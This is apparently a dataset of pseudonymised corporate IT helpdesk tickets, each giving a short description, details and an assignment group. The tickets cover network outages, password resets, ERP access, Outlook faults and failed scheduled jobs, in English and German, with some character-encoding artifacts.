best , is assigned to Assignment group: GRP\_4.Ticket with Short description: network outage : south\_amerirtca ktthasb site is hard dwon since 11:52 am on 21/10 et , Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_11:52 am on 21/10 et \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: account unlock, Description: account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: the terminate action for kmzucxgq vjzfocgt has completed., Description: from:
sent: saturday, october 22, 2016 6:29 pm
to: nwfodmhc exurcwkm
subject: the terminate action for kmzucxgq vjzfocgt has completed.
hello ,
a termination for kmzucxgq vjzfocgt, 2s76891111595, effective 83.69.48.194 has been approved.
, is assigned to Assignment group: GRP\_2.Ticket with Short description: problems with the data model in excel, Description:
received from: bwfhtumx.japznrvb@gmail.com
i cannot get the data model to work in my excel
[cid:image001.jpg@01d22c57.57e6dc10]
[cid:image002.jpg@01d22c57.57e6dc10]
bwfhtumx japznrvb
regional controller
bwfhtumx.japznrvb@gmail.com<mailto:bwfhtumx.japznrvb@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset, Description: password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_500 failed in job\_scheduler at: 10/22/2016 06:08:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_500 failed in job\_scheduler at: 10/22/2016 06:08:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_1422 failed in job\_scheduler at: 10/22/2016 05:39:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1422 failed in job\_scheduler at: 10/22/2016 05:39:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: job Job\_593 failed in job\_scheduler at: 10/22/2016 04:20:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_593 failed in job\_scheduler at: 10/22/2016 04:20:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: power outage : engineering\_toolkuznetsk warehouse, russia - (company) network is down since 2:48am et on 10/22/16, Description: what type of outage: \_\_\_x\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_2:48am et on 10/22/16\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: job bkwin\_infonet1\_full failed in job\_scheduler at: 10/22/2016 01:42:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkwin\_infonet1\_full failed in job\_scheduler at: 10/22/2016 01:42:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: outlook not working , Description: \_x000D\_
\_x000D\_
received from: dceoufyz.saufqkmd@gmail.com\_x000D\_
\_x000D\_
hello\_x000D\_
\_x000D\_
my outlook app on my laptop isn't opening.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_1345 server: beeping sound in the server, Description: HostName\_1345 server beeping sound in the server, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on ticket\_no0451791, Description: ticket update on ticket\_no0451791, is assigned to Assignment group: GRP\_0.Ticket with Short description: usa - (company):company-na-usa-usa-2950-core-sw02 went down at 5:51 pm et on 10/21., Description: usa - (company):company-na-usa-usa-2950-core-sw02 went down at 5:51 pm et on 10/21.\_x000D\_
gigabitethernet0/2 interface down on company-na-usa-usa-2950-core-sw02 .\_x000D\_
company-na-usa-usa-2950-access-sw01 went down at 7:44 pm et on 10/21,gigabitethernet1/1/4 interface down , is assigned to Assignment group: GRP\_8.Ticket with Short description: circuit outage:usa pa, company-ctc-dr-vpn-rtr.company.com went down at 6:10 pm et on 10/21. , Description: what type of outage: \_\_\_\_\_network \_x\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_ 6:10 pm et on 10/21\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: after my bios was update, i can no longer log in to erp, Description: i get an error every time that i try to log into erp i get a log balancing error 88. could not connect to message server, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to erp , Description: unable to connect to erp , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to access etime through ie, Description: password prompt resulting in an unauthorized access error., is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_1325 has a drive that is flashing yellow. message display is also flashing on and off, although it has no error., Description: please check HostName\_1325 (shop\_floor\_app server) drive for possible problems. one of the drives is flashing yellow., is assigned to Assignment group: GRP\_0.Ticket with Short description: usa and usa - perhaps other sites as well. outlook refusing to send reply emails., Description: usa and usa - perhaps other sites as well. many users - outlook refusing to send reply emails. a new email will send, but a reply will stall and outlook freezes with a not reponding error. this appears to be happening only with office 2010, i personally am using office 2016. got many complaints from usa and complaints from usa mi as well. suspect a systemic problem company wide. , is assigned to Assignment group: GRP\_26.Ticket with Short description: access denied : , Description: access denied : collaboration\_platform
check screenshots in email attachment.
could you please reviewing the alejayhsdtffndro's profile on collaboration\_platform? in the functions menu, alejayhsdtffndro chose the finance option but receive the message "access denied". alejayhsdtffndro's is controller in mexico. please see the screenshots below:
, is assigned to Assignment group: GRP\_16.Ticket with Short description: jpg files encrypted , Description: jpg files encrypted , is assigned to Assignment group: GRP\_0.Ticket with Short description: reset password, Description:
received from: bihfazru.bhjqvtzm@gmail.com
hello, i locked myself out of erp. can you reset my password?
thesdf sdlwfkvach
production supervisor
bihfazru.bhjqvtzm@gmail.com<mailto:bihfazru.bhjqvtzm@gmail.com>
[cid:image003.jpg@01cfcb3e.29ec32f0]
, is assigned to Assignment group: GRP\_0.Ticket with Short description: terminated employees , Description:
received from: tsicojkp.kghaozew@gmail.com
there is an employee that has been terminated 9/30/16 who still has access to company email on his personal device, aylrbosw gaeycbwd.
tsicojkp kghaozew
commodity manager
tsicojkp.kghaozew@gmail.com<mailto:tsicojkp.kghaozew@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook not working, Description: outlook not working, is assigned to Assignment group: GRP\_0.Ticket with Short description: unlocked and reset erp SID\_1, Description: unlocked and reset erp SID\_1, is assigned to Assignment group: GRP\_0.Ticket with Short description: company center not pulling replacement item, Description: company center is not pulling replacement items when they are available. \_x000D\_
material 3976391 in company center is a pre-obsolete with replacement - the diaolog box is not displaying the replacement - vb13 is populated mm# 6984824\_x000D\_
., is assigned to Assignment group: GRP\_13.Ticket with Short description: vip 1: erp account locked for user janhduh keehad8fvkgaalen, Description: vip 1: erp account locked for user janhduh keehad8fvkgaalen, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook freezing for all users, Description: outlook freezing for all users, is assigned to Assignment group: GRP\_4.Ticket with Short description: outlook/crm plug in issue, Description:
received from: tskvmwag.awkrdqzb@gmail.com
hello,
crm plug in buttons are not staying checked when i close outlook. i lose the crm function in my outlook when i close the programdnty.
please see attached screen shot.
tskvmwag awkrdqzb
sr. sales engineer nc3
north central region
tskvmwag.awkrdqzb@gmail.com<mailto:tskvmwag.awkrdqzb@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: printer prtqx4580 won't print for anyone in our office., Description: \_x000D\_
\_x000D\_
received from: gqkedvzu.czoniyra@gmail.com\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_3.Ticket with Short description: password error in erp, Description:
received from: ivohcdpw.ixcanwbm@gmail.com
dear sir,
please help me in erp login .
user id -dwivethn677
with best , is assigned to Assignment group: GRP\_0.Ticket with Short description: business partner id - bertsckaadyd122, Description:
received from: inxsupmy.zhwmifvx@gmail.com
hello team,
can you please create a business partner id for â€“ bertsckaadyd122 in solution manager .
inxsupmy zhwmifvx
team lead - (sourcing & logistics) - global it
inxsupmy.zhwmifvx@gmail.com
, is assigned to Assignment group: GRP\_2.Ticket with Short description: missed call, Description: missed call, is assigned to Assignment group: GRP\_0.Ticket with Short description: id 04637, Description: id 04637 printer have paper stuck up issue., is assigned to Assignment group: GRP\_19.Ticket with Short description: ms outlook network error messages, Description: when searching in inbox the following message is received due to current network conditions, some results may not be included in your search, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype error while logging in , Description: skype error while logging in , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp access issue, Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?): SID\_34
enter user id of user having the issue: moranm
transaction code(s) the user needs or was working with: cv04n
describe the issue:
csr mdwydindy mwdlkloran currently does not have access to view drawings. please upgrade her access as this is a necessary requirement for all csrs on the company team.
provide access the same as this other user: yrlsguzk fasyiokl, is assigned to Assignment group: GRP\_2.Ticket with Short description: unable to open .xml files on the computer, Description: unable to open .xml files on the computer, is assigned to Assignment group: GRP\_3.Ticket with Short description: skype problem, Description:
received from: gdnwlkit.jokidavy@gmail.com
yesterday i had some problems with outlook after a password change. the problem was crm. a new version was loaded and i thought my troubles were over
now, my skype for business is not working and i could not join an important meeting this morning. a copy of the skype screen is below. is the sign-in address correct? if not, what should it be. have emailed this because the telephone help line hangs up on you as soon as you select a number to direct the call.
[cid:image001.jpg@01d22b77.b8773b50]
tjwdhwdw tdlwdkunis
senior sales engineer team
gdnwlkit.jokidavy@gmail.com<mailto:gdnwlkit.jokidavy@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: help line phone problem, Description:
received from: gdnwlkit.jokidavy@gmail.com
please note. when dialing into the help line, as soon as you make a selection (1,2, or 3) it hangs up on you , terminating the call.
tjwdhwdw tdlwdkunis
senior sales engineer teamgdnwlkit.jokidavy@gmail.com<mailto:gdnwlkit.jokidavy@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype, Description: \_x000D\_
\_x000D\_
received from: yiramdntyjqc.qtrcepsa@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
i am having trouble accessing skype. i keep getting cut-off when i select from the phone menu. hope this gets through.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: my pc don`t work with wifi, Description: \_x000D\_
i have wifi, but my computer does not work with wifi only works with telecom\_vendor\_4, telecom\_vendor\_4 it is a gsm suplier with g4, is assigned to Assignment group: GRP\_0.Ticket with Short description: blank call, Description: blank call, is assigned to Assignment group: GRP\_0.Ticket with Short description: information on previous tickets, Description: name:slrgconp onukdesq
language:
browser:microsoft internet explorer
email:slrgconp.onukdesq@gmail.com
customer number:
telephone:
summary:i opened a ticket this morning. who is it assigned to, is assigned to Assignment group: GRP\_0.Ticket with Short description: email address in purchasing, Description: from: dpuifqeo eglwsfkn
sent: friday, october 21, 2016 6:19 pm
to: nwfodmhc exurcwkm; shkdwd dlwdwd
cc: dfetvmzq brxavtzp
subject: re: purchasing dfetvmzq brxavtzp
the email address on this profile is incorrect â€“ please change to dfetvmzq.brxavtzp@gmail.com
also need to add the company catalog to her profile
, is assigned to Assignment group: GRP\_2.Ticket with Short description: reset the password for jgxmafwk mlroijfp on erp / production / hcm, Description: i am new to erp and have had no training at all.\_x000D\_
would you please call me and walk me through login? or at least verify my login name and password? please and , is assigned to Assignment group: GRP\_0.Ticket with Short description: blank call, Description: blank call, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook indexing error , Description: \_x000D\_
\_x000D\_
received from: egjwxhlo.weofysln@gmail.com\_x000D\_
\_x000D\_
hello team,\_x000D\_
i used to be able to see what i search in outlook within pdf attachments, but after the upgrade i cannot search within pdf attachment in my mailbox.\_x000D\_
can you please advise?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 erp production password reset, Description: erp SID\_34 erp production password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: ethics login error, Description: when i try to login to ethics training, i click on the log in from the collaboration\_platform site, it takes me to the page to select language, i click on engilsh. then i get an error that says the page failed to load., is assigned to Assignment group: GRP\_0.Ticket with Short description: old ticket no.inc1553707. usa access for configuring outlook exchange on windows phone, Description: usa access for configuring outlook exchange on windows phone. approval is attached with this ticket.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: interface: gigabitethernet1/0/40 Â·shopfloor\_111\_schuette\_01 on company-eu-deu-germany-emsw03-2960s-access-sw03 is down, Description: gigabitethernet1/0/40 Â· shopfloor\_111\_schuette\_01 on company-eu-deu-germany-emsw03-2960s-access-sw03 is down since , is assigned to Assignment group: GRP\_8.Ticket with Short description: reset passwords for qkgnwxto dwtivjrp using password\_management\_tool password reset., Description: cannot log into hiatchi password manager, to change to new password., is assigned to Assignment group: GRP\_17.Ticket with Short description: password reset request., Description: password reset request., is assigned to Assignment group: GRP\_0.Ticket with Short description: my external monitor will not come on this morning., Description: my external monitor will not come on this morning., is assigned to Assignment group: GRP\_3.Ticket with Short description: delivery issue, Description: \_x000D\_
\_x000D\_
received from: acmglkti.cwgxrabu@gmail.com\_x000D\_
\_x000D\_
good morning\_x000D\_
\_x000D\_
we have urgent need for assistance as customer is awaiting parts for mm#7233365, please give this matheywter a high priority\_x000D\_
\_x000D\_
however,\_x000D\_
\_x000D\_
we have experienced a glitch in creating delivery for sales order#35045813. the delivery #9169662470 created for 0 pcs., there is balance due of 195 pcs. , but we can not change delivery quantity nor can we delete delivery. we did not pgi the delivery when created, and the delivery is still showing in md04, but when we try to make changes there is an error that the delivery has been posted. we have tried to unpost (vl19) delivery but we are getting message stating that delivery has already been inwarehouse\_toold, but in all reality the delivery is frozen in erp and no changes can be made.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_18.Ticket with Short description: company.com not working : dns issue , Description: company.com not working : dns issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: customer catalogue and collaboration\_tool is not working., Description: customer catalogue and collaboration\_tool is not working., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to call in, Description: \_x000D\_
\_x000D\_
received from: lomzfqns.htznsgdf@gmail.com\_x000D\_
\_x000D\_
fyi...\_x000D\_
\_x000D\_
tried calling in this morning. no matheywter which option i select, i'm immediately disconnected.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: access to netweaver, Description:
received from: fgljepar.xpsarwiz@gmail.com
good morning,
please give yhrdw hdld3geman access to netweaver.
questions?
thanx123,
jwbsdd2 ddmefoche
sr. applications engineer
fgljepar.xpsarwiz@gmail.com<mailto:fgljepar.xpsarwiz@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: lean tracker issues, Description:
received from: vtwxaefm.ljisafue@gmail.com
hello ,
i am getting error when trying to create a new lean tracker number. attached the screenshot of the error.
need your help to resolve it.
[cid:image002.jpg@01d22bc1.3d0d9af0]
, is assigned to Assignment group: GRP\_0.Ticket with Short description: shared mailbox not updating activities, Description: shared mailbox not updating activities, is assigned to Assignment group: GRP\_0.Ticket with Short description: i cannot get into my computer, get an error no ip address, Description: i cannot get into my computer, get an error no ip address, is assigned to Assignment group: GRP\_3.Ticket with Short description: account locked in erp SID\_34, Description: account locked in erp SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: would you please reset my erp hcm password? i'm locked out of it..thanks!, Description: would you please reset my erp hcm password? i'm locked out of it.., is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook and skype not responding., Description: outlook and skype not responding., is assigned to Assignment group: GRP\_0.Ticket with Short description: drucker in lÃ¶we uacyltoe hxgayczeraum knicrhtyt papier \dtlmbcrx mwuateyx, Description: drucker in lÃ¶we uacyltoe hxgayczeraum knicrhtyt papier \dtlmbcrx mwuateyx, is assigned to Assignment group: GRP\_24.Ticket with Short description: benÃ¶tige zugriff auf schichtplaner, Description: bitte zugriff auf folgenden pfad einrichten: departments (\\HostName\_737)(m:) --> programdntyme --> schichtplaner
user: freybtrhsdl , is assigned to Assignment group: GRP\_34.Ticket with Short description: HostName\_113: plm plot / view (production\_order\_interface\_app) rfcserver.exe process count(critical), Description: HostName\_113: plm plot / view (production\_order\_interface\_app) rfcserver.exe process count(critical), is assigned to Assignment group: GRP\_14.Ticket with Short description: password no more valid. new password to access to erp SID\_34 erp production, Description: password no more valid. new password to access to erp SID\_34 erp production, is assigned to Assignment group: GRP\_0.Ticket with Short description: reinstall hardcopy und EU\_tool \lndypaqg dhqwtcsr, Description: reinstall hardcopy und EU\_tool \lndypaqg dhqwtcsr, is assigned to Assignment group: GRP\_24.Ticket with Short description: help to install erp in computer lpawhdt8515494, Description: hi team,
could you please, help me to reinstall erp 7.40 in computer the an user.
computer: lpawhdt8515494
please contatc me, if you have more doubt.
tnks
, is assigned to Assignment group: GRP\_0.Ticket with Short description: expedite mm3516492 mm2405383, Description: hiï¼Œteam
pls. help to run out dn against sto#5019358024, 3516494\*37pcs,customer need them urgently~
thx a lot!
b.rgds
wswdd.djdwol
company hardpoint apacc
, is assigned to Assignment group: GRP\_6.Ticket with Short description: we111 gibt nur eine fehlermeldung aus, Description: we111 gibt nur eine fehlermeldung aus :\_x000D\_
anmelden im netzwerk\_x000D\_
registrieren der netzwerkeinstellungen.\_x000D\_
nicht alle vorgÃ¤nge kÃ¶nnen erledigt werden.\_x000D\_
warten sie einen moment \vzqomdgt jwoqbuml, is assigned to Assignment group: GRP\_24.Ticket with Short description: pc slow, Description: my pc is responding slow. can the pc team please check to speed it up further.\_x000D\_
i am looking for disk fragmentation or similar type of activity which will help pc perform its activitiess faster., is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_593 failed in job\_scheduler at: 10/21/2016 05:25:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_593 failed in job\_scheduler at: 10/21/2016 05:25:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: trigger loads for bw - fill rate recovery-kba for oct 19th 2016, Description: trigger loads for bw - fill rate recovery-kba for oct 19th 2016, is assigned to Assignment group: GRP\_9.Ticket with Short description: lable drucker funktioniert nicht, Description: lable drucker in der endkontrolle defense gibt keine etiketten aus, is assigned to Assignment group: GRP\_33.Ticket with Short description: job bk\_biaprod failed in job\_scheduler at: 10/21/2016 05:12:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bk\_biaprod failed in job\_scheduler at: 10/21/2016 05:12:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: rechner fÃ¼r lÃ¤ngenmessmaschine uacyltoe hxgayczeen \xosdfhbu gtbfkisl, Description: rechner fÃ¼r lÃ¤ngenmessmaschine uacyltoe hxgayczeen \xosdfhbu gtbfkisl, is assigned to Assignment group: GRP\_24.Ticket with Short description: pc name, Description:
received from: koahsriq.wdugqatr@gmail.com
hello,
we need a new pc name
service tag of the pc is
fy80nkssc2
Ñ ÑƒÐ²Ð°Ð¶ÐµÐ½Ð¸ÐµÐ¼,
ÐµÐ²Ð³ÐµÐ½Ð¸Ñ.
koahsriq wdugqatr,
administrative assistant.
koahsriq.wdugqatr@gmail.com<mailto:koahsriq.wdugqatr@gmail.com>
company ooo | vavilova 5, corp.3 | russia, 119334 russia | www.company.com<
, is assigned to Assignment group: GRP\_28.Ticket with Short description: delivery unable to ship out delivery, Description: please provide the following:
what order number? customer order nor. 35946436
what material or item number? item 10 mm 4846674
what warehouse location? plant\_108
issue description / error message? the delivery quantety is 33 the picked quantety is 31 delivery note is booked but system says delivery is not picked yet
can not cancel... please help , is assigned to Assignment group: GRP\_13.Ticket with Short description: pw reset for erp - user name: pihddltzr123, Description:
received from: iboltufk.ezfnvcqp@gmail.com
erp SID\_34 account has been not unlocked successfully â€“ pw reset for erp - user name: pihddltzr123
"hi ,
unlocked the erp SID\_34 account
please login with same password. -> not working !!!!!
, is assigned to Assignment group: GRP\_0.Ticket with Short description: kabel lan 10m liefern \gogtyekhan merdivan, Description: kabel lan 10m liefern \gogtyekhan merdivan, is assigned to Assignment group: GRP\_24.Ticket with Short description: netweaver, Description: cannot use it because of missing plugin, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 response time too slow, transactions are being interrupted and erp connection is broken constantly, Description: transactions are interrupted and erp connection is broken, constantly, is assigned to Assignment group: GRP\_0.Ticket with Short description: please release access to \\HostName\_705\teams\werkleitunggermany, Description: \_x000D\_
\_x000D\_
received from: byclpwmv.esafrtbh@gmail.com\_x000D\_
\_x000D\_
[cid:image001.jpg@01d22b85.01e698a0]\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_33.Ticket with Short description: pls release access to \\HostName\_705\lean\, Description: \_x000D\_
\_x000D\_
received from: byclpwmv.esafrtbh@gmail.com\_x000D\_
\_x000D\_
[cid:image001.jpg@01d22b84.b25aac90]\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_0.Ticket with Short description: reminder email notification keeps on sending for the approved pr, Description: \_x000D\_
\_x000D\_
received from: izwtdnfq.xptuoaid@gmail.com\_x000D\_
\_x000D\_
hi it team,\_x000D\_
\_x000D\_
i have still received the email notification reminder to approve 2 prs daily for the ones which i have already approved and there are no any pending prs left to approve in me55. also, pos have been raised by purchasing team.\_x000D\_
\_x000D\_
kindly review the system and fix for me. , is assigned to Assignment group: GRP\_29.Ticket with Short description: slow erp, Description:
received from: tejahd.easdwmdwrappa@company.com
help,
erp is very slow with disconnections. please resolve at the earliest.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp slow down. few locations impacted, at least EU, Description: erp slow down. few locations impacted, at least EU, is assigned to Assignment group: GRP\_0.Ticket with Short description: backup fÃ¼r rechner lasplant\_119\pfjwinbg ljtzbdqg, Description: backup fÃ¼r rechner lasplant\_119\pfjwinbg ljtzbdqg, is assigned to Assignment group: GRP\_24.Ticket with Short description: blank call, Description: blank call, is assigned to Assignment group: GRP\_0.Ticket with Short description: log in for erp is out of order, Description: log in for erp is out of order, is assigned to Assignment group: GRP\_0.Ticket with Short description: pls. help to run out dn against sto#5019358024, 3516494\*37pcs,customer need them urgently~, Description: pls. help to run out dn against sto#5019358024, 3516494\*37pcs,customer need them urgently~, is assigned to Assignment group: GRP\_6.Ticket with Short description: EU\_tool funktioniert nicht mehr (EU\_tool is not working), Description: EU\_tool funktioniert nicht mehr, is assigned to Assignment group: GRP\_25.Ticket with Short description: \*\*\* urgent \*\*\* please reactive user id = dudyhuyv12, Description:
received from: hupnceij.hyozjakb@gmail.com
hello all,
dudyhuyv12 is not active in password\_management\_tool, and australia can't access to windows â€¦
please can you check & do what is necessary.
thx !
[cid:image001.png@01d22b78.8e2efe40]
sincÃ¨res salutations, best , is assigned to Assignment group: GRP\_33.Ticket with Short description: unable to open eps files , Description: unable to open eps files , is assigned to Assignment group: GRP\_0.Ticket with Short description: netpath running from : HostName\_1089 is having an issue reaching : portal.microsoftonline.com, Description: received solarwind alert 2:38 am on 10/21 et\_x000D\_
\_x000D\_
netpath running from : HostName\_1089 is having an issue reaching : portal.microsoftonline.com\_x000D\_
\_x000D\_
attached is the screen shot, is assigned to Assignment group: GRP\_4.Ticket with Short description: pw reset for erp - user name piltzrnj567 thank you!, Description: \_x000D\_
\_x000D\_
received from: iboltufk.ezfnvcqp@gmail.com\_x000D\_
\_x000D\_
Ã¼dvÃ¶zlettel / mit freundlichen grÃ¼ÃŸen / with best , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_2063 failed in job\_scheduler at: 10/21/2016 02:30:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2063 failed in job\_scheduler at: 10/21/2016 02:30:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: collaboration\_platform nicht verfÃ¼gbar - kein internetzugriff, Description: collaboration\_platform nicht verfÃ¼gbar - kein internetzugriff, is assigned to Assignment group: GRP\_0.Ticket with Short description: request authorization, Description: \_x000D\_
\_x000D\_
received from: hkruyqfc.aouezihl@gmail.com\_x000D\_
\_x000D\_
hello\_x000D\_
\_x000D\_
requesting you to provide me an authorization for the below mentioned programdnty.\_x000D\_
\_x000D\_
[cid:image001.jpg@01d22b8f.406fc470]\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_2.Ticket with Short description: bex error, Description: from: wgpimkle kijhcwur [mailto:wgpimkle.kijhcwur@gmail.com] \_x000D\_
sent: friday, october 21, 2016 6:27 am\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
subject: rad:bex error\_x000D\_
\_x000D\_
help desk\_x000D\_
\_x000D\_
\_x000D\_
i got below error message when i ran rrmx through SID\_37.\_x000D\_
please fix the issue.\_x000D\_
